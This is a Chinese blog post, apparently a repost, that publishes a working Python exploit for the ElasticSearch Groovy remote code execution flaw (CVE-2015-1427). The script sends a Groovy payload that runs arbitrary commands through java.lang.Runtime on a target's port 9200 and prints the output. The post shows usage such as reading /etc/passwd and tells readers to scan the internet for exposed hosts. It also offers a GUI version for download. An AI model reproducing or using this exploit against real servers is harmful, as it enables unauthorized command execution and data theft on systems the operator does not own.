Elastic search Groovy远程代码执行漏洞EXP

独自等待 2017年5月12日01:35:25评论425 views字数 2245阅读7分29秒阅读模式

之前本站转载了乌云的《ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法》,但是没有发布EXP,我等小菜就没得玩了,昨天晚上花了点时间折腾出来了一个,喜欢的同学们拿去玩吧,别搞破坏就行了。。。

ElasticSearch 远程代码执行漏洞EXP

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/3/14
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():
    print '+' + '-' * 60 + '+'
    print '\t Elastic search Groovy远程代码执行漏洞EXP'
    print '\t     Blog:http://www.waitalone.cn/'
    print '\t\t   Code BY: 独自等待'
    print '\t\t   Time:2015-03-14'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 3:
        print '用法: ' + os.path.basename(sys.argv[0]) + ' 待测Elastic search网站URL 待执行的命令'
        print '实例: ' + os.path.basename(sys.argv[0]) + ' https://www.waitalone.cn:9200/ "ifconfig"'
        sys.exit()


def elastic(cmd):
    """
    Elastic search 命令执行函数
    漏洞详情:http://zone.wooyun.org/content/18915
    测试案例:请自行扫描9200端口的网站吧。
    """
    results = []
    elastic_url = url + '_search?pretty'
    exp = '{"size":1,"script_fields": ' \
          '{"iswin": {"script":"java.lang.Math.class.forName(\\"java.lang.Runtime\\")' \
          '.getRuntime().exec(\\"' + cmd + '\\").getText()","lang": "groovy"}}}'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    # print exp
    try:
        content = requests.post(elastic_url, data=exp, headers=headers, timeout=10).content
    except Exception:
        print '[!] 报告爷,有错误发生,请检查是否连接超时!'
        raise SystemExit
    else:
        result = re.findall(re.compile('\"iswin\" : \[ "(.*?)" \]'), content)
        if result:
            results.append(result[0])
    return results


if __name__ == '__main__':
    usage()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    cmd = sys.argv[2]
    command = elastic(cmd)
    if command:
        print command[0].replace('\\n', '\n').replace('\\r','').replace('\\\\','\\')
    else:
        print '[!] 报告爷,漏洞不存在或者输入命令错误!'

测试结果如下图:

ElasticSearch 远程代码执行漏洞EXP

注意,如果命令中间有空格,请用双引号括起来,如下:

elasticsearch.py http://www.waitalone.cn:9200/ "cat /etc/passwd"

来本站的小兄弟们还附送一个图形界面版的,希望大家喜欢。

ElasticSearch 远程代码执行漏洞EXP

图形版下载地址:

点我下载

参考网址:

http://www.waitalone.cn/elasticsearch.html

https://github.com/Svti/ElasticSearchEXP/

http://zone.wooyun.org/content/18915



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日01:35:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Elastic search Groovy远程代码执行漏洞EXPhttps://cn-sec.com/archives/50247.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息